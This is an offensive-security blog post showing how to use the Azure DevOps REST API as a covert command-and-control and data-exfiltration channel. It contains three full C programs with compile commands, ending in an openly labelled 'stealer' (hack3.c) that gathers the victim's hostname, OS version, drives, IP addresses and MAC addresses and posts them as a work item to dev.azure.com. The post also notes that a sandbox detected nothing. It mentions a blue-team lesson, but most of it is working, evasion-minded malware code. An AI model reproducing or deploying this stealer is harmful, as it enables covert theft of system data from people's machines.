7 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In this post, I want to show how Azure DevOps REST API - a totally legit Microsoft service - can be used by an attacker to communicate with their infrastructure in unexpected ways. This is not an Azure DevOps bug, but an abuse of functionality.

Think of it as using a perfectly fine hammer… to crack a safe.

We will explore three minimal proof-of-concepts:

sending a simple GET request to list Azure DevOps projects.
creating a work item (Task) with a title.
creating a work item with a title and a description containing arbitrary text - a “safe” stand-in for sensitive data in a stealer scenario.

azure services

If you are not familiar with Azure Devops Services like me, let me show few steps to create minimal env for our hacking scenario.

We just need the smallest possible environment so our PoC has somewhere to talk to.

Go to https://dev.azure.com/ and sign in with a Microsoft account. If prompted, create a new organization - name it anything (in my case, cocomelonkz):

malware

malware

Then, create a project. In your new organization, click “New Project”. Give it a short name, e.g., hack or cat. Visibility can be private (this is fine for our test):

malware

Finally, generate a Personal Access Token (PAT):

malware

malware

In my case full access, but you need read and write permissions - it’s enough for our scenario.

For checking correctness, test API via curl:

curl -u ":your token here something like 9O1QFlG1YxLe88F65PfHutr...........CAAAAAAAAAAAAASAZDOOcAA" -X GET "https://dev.azure.com/cocomelonkz/_apis/projects?api-version=7.1"

malware

As you can see, you should see JSON with your project list. If you get that, your Azure DevOps “C2 server” is ready for abuse.

practical example 1

The simplest way to talk to Azure DevOps REST API is to hit an endpoint, for example:

/cocomelonkz/_apis/projects?api-version=7.1

In this case, full source code looks like this hack.c:

/*
 * hack.c
 * minimal simple GET request to 
 * Azure DevOps REST API: 
 * list of projects
 * helper function for stealer
 * author @cocomelonc
 */
#include <stdio.h>
#include <windows.h>
#include <winhttp.h>
 
int main() {
  HINTERNET hSession, hConnect, hRequest;
  DWORD bytesRead;
  char buffer[4096];
 
  // init
  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
            WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  if (!hSession) {
    printf("WinHttpOpen failed: %lu\n", GetLastError());
    return 1;
  }
 
  // connect to dev.azure.com (HTTPS)
  hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);
  if (!hConnect) {
    printf("WinHttpConnect failed: %lu\n", GetLastError());
    WinHttpCloseHandle(hSession);
    return 1;
  }
 
  // GET-req
  hRequest = WinHttpOpenRequest(
    hConnect,
    L"GET",
    L"/cocomelonkz/_apis/projects?api-version=7.1",
    NULL, WINHTTP_NO_REFERER,
    WINHTTP_DEFAULT_ACCEPT_TYPES,
    WINHTTP_FLAG_SECURE
  );
 
  // headers
  const wchar_t *headers =
    L"Accept: application/json\r\n"
    L"Authorization: Basic <my base64 encoded token here>"
    L"\r\n";
 
  WinHttpAddRequestHeaders(hRequest, headers, (ULONG)-1, WINHTTP_ADDREQ_FLAG_ADD);
 
   // send request
  if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
    WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
    printf("WinHttpSendRequest failed: %lu\n", GetLastError());
    return 1;
  }
 
  if (!WinHttpReceiveResponse(hRequest, NULL)) {
    printf("WinHttpReceiveResponse failed: %lu\n", GetLastError());
    return 1;
  }
 
  // get response
  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }
 
  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);
  return 0;
} 

As you can see, this is a program with minimal helper logic: this is enough to pull metadata from Azure DevOps without triggering anything suspicious in most network setups.

Just replace with your own token:

echo -n ":9O1QFlG1...QQJ99BHACAAAAAAAAAAAAASAZDOOcAA" | base64

malware

demo 1

Let’s go to see first example in action. Compile it:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp

malware

Then, run in the victim’s machine (in my case Windows 10/11 VM):

.\hack.exe

malware

malware

As you can see, everything is worked as expected!

practical example 2

Let’s update our logic: creating a work item with a title. Since an attacker want push data from victim’s host instead of pulling. Azure DevOps supports creating work items via REST API.

We can send a JSON PATCH request to:

POST /ORG/PROJECT/_apis/wit/workitems/$Task?api-version=7.1
Content-Type: application/json-patch+json

Here’s a minimal PoC that sets only the System.Title, based on Microsoft documentation (hack2.c):

/*
 * hack2.c
 * Azure DevOps REST API
 * create work item
 * helper function for stealer
 * author @cocomelonc
 */
#include <stdio.h>
#include <windows.h>
#include <winhttp.h>

int main() {
  HINTERNET hSession, hConnect, hRequest;
  DWORD bytesRead;
  char buffer[8192];

  // headers
  const wchar_t *authHeader = L"Authorization: Basic Ojl...FBQUFBQVNBWkRPT2NBQQ==\r\n";
  const wchar_t *contentHeader = L"Content-Type: application/json-patch+json\r\n";
  const wchar_t *acceptHeader = L"Accept: application/json\r\n";

  // JSON patch for patch operations (PATCH)
  const char *postData = "[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"from\":null,\"value\":\"meow\"}]";

  hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
               WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);

  hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);

  hRequest = WinHttpOpenRequest(
    hConnect,
    L"POST",
    L"/cocomelonkz/hack1/_apis/wit/workitems/$Task?api-version=7.1",
    NULL, WINHTTP_NO_REFERER,
    WINHTTP_DEFAULT_ACCEPT_TYPES,
    WINHTTP_FLAG_SECURE
  );

  WinHttpAddRequestHeaders(hRequest, authHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, contentHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, acceptHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD);

  WinHttpSendRequest(hRequest,
             WINHTTP_NO_ADDITIONAL_HEADERS, 0,
             (LPVOID)postData, strlen(postData),
             strlen(postData), 0);

  WinHttpReceiveResponse(hRequest, NULL);

  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }

  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);

  return 0;
}

Don’t forget to replace with your own base64-encoded token.

demo 2

Compile second example:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp

malware

Then, run on the victim’s host:

.\hack2.exe

malware

malware

Now our PoC creates an artifact in the cloud:

malware

practical example 3: stealer

Here we’ll simulate a scenario where system information is sent to Azure DevOps like before: Github API, VirusTotal or Telegram.

The full source code is looks like this hack3.c:

/*
 * hack3.c
 * Azure DevOps REST API stealer
 * author @cocomelonc
 */
#include <windows.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <iphlpapi.h>
#include <stdio.h>

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "crypt32.lib")

int sendToAzure(const char* project, const char* pat, const char* title, const char* description) {
  HINTERNET hSession, hConnect, hRequest;
  char authHeader[512];
  char jsonBody[10000];

  DWORD bytesRead;
  char buffer[8192];

  // construct json body
  snprintf(jsonBody, sizeof(jsonBody),
    "[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"value\":\"%s\"},"
    "{\"op\":\"add\",\"path\":\"/fields/System.Description\",\"value\":\"%s\"}]",
    title, description);

  // encode PAT to base64 (PAT without username
  // for Azure DevOps ":PAT")
  char patAuth[256];
  snprintf(patAuth, sizeof(patAuth), ":%s", pat);

  DWORD patLen = lstrlenA(patAuth);
  DWORD base64Len = 0;
  if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &base64Len)) {
    fprintf(stderr, "Base64 length error\n");
    return 1;
  }
  char patBase64[256];
  if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, patBase64, &base64Len)) {
    fprintf(stderr, "Base64 encode error\n");
    return 1;
  }

  snprintf(authHeader, sizeof(authHeader), "Authorization: Basic %s", patBase64);

  // printf("%s\n", authHeader);

  hSession = WinHttpOpen(L"Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
  hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0);

  char path[512];
  snprintf(path, sizeof(path), "/cocomelonkz/%s/_apis/wit/workitems/$Task?api-version=7.1", project);

  wchar_t wpath[512];
  MultiByteToWideChar(CP_ACP, 0, path, -1, wpath, 512);

  hRequest = WinHttpOpenRequest(hConnect, L"POST", wpath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

  wchar_t wauthHeader[512];
  wchar_t wctypeHeader[] = L"Content-Type: application/json-patch+json";
  MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512);

  WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);
  WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD);

  WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)jsonBody, strlen(jsonBody), strlen(jsonBody), 0);
  WinHttpReceiveResponse(hRequest, NULL);

  // get response (checking)
  WinHttpReceiveResponse(hRequest, NULL);

  while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
    buffer[bytesRead] = '\0';
    printf("%s", buffer);
  }
  WinHttpCloseHandle(hRequest);
  WinHttpCloseHandle(hConnect);
  WinHttpCloseHandle(hSession);

  return 0;
}

int main() {
  char systemInfo[4096];

  CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
  DWORD size = sizeof(hostName) / sizeof(hostName[0]);
  GetComputerNameA(hostName, &size);

  OSVERSIONINFO osVersion;
  osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  GetVersionEx(&osVersion);

  SYSTEM_INFO sysInfo;
  GetSystemInfo(&sysInfo);

  DWORD drives = GetLogicalDrives();

  IP_ADAPTER_INFO adapterInfo[16];
  DWORD adapterInfoSize = sizeof(adapterInfo);
  GetAdaptersInfo(adapterInfo, &adapterInfoSize);

  snprintf(systemInfo, sizeof(systemInfo),
    "Host Name: %s\n"
    "OS Version: %d.%d.%d\n"
    "Processor Architecture: %d\n"
    "Number of Processors: %d\n"
    "Logical Drives: %X\n",
    hostName,
    osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
    sysInfo.wProcessorArchitecture,
    sysInfo.dwNumberOfProcessors,
    drives);

  for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) {
    snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo),
      "Adapter Name: %s\n"
      "IP Address: %s\n"
      "Subnet Mask: %s\n"
      "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n",
      adapter->AdapterName,
      adapter->IpAddressList.IpAddress.String,
      adapter->IpAddressList.IpMask.String,
      adapter->Address[0], adapter->Address[1], adapter->Address[2],
      adapter->Address[3], adapter->Address[4], adapter->Address[5]);
  }

  sendToAzure("hack1", "9...CAAAAAAAAAAAAASAZDOOcAA", "meow2", systemInfo);
  return 0;
}

As you can see, this source code is pretty similar my Github, Telegram and VirusTotal scenarios.

demo 3

Compile stealer example:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lwinhttp

malware

Then, run on the victim’s host:

.\hack3.exe

malware

malware

As you can see, everything is works perfectly! =^..^=

This approach has some interesting traits:
blends with legit traffic - all calls go to dev.azure.com.
no additional infra needed - the “C2” is a Microsoft service.
persistence and history - once data is in a work item, it stays there until deleted.
two-way channel - you can GET and POST to exchange data.

For Blue teams, the lesson is as always: not all “benign” cloud traffic is harmless.

Upload to ANY.RUN:

malware

malware

malware

malware

malware

As you can see, ANY.RUN says that everything is ok: no threats detected.
Summary: interaction with the Azure cloud is recognized as legitimate behavior and this is the main problem! Pwn! =^..^=

https://app.any.run/tasks/5ad3bf05-f2c3-48d0-8552-7a988b536ad8

Malware like AllaKore and APTs like APT32: OceanLotus use Azure for malicious actions in the wild
I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

malware

Thanks to ANY.RUN for API!

ANY.RUN
ANY.RUN: hack3.exe
Microsoft: Get started with Azure DevOps REST API
AllaKore
AllaKore variant leverages Azure cloud C2
Github API stealer
VirusTotal API stealer
Telegram Bot API stealer
source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine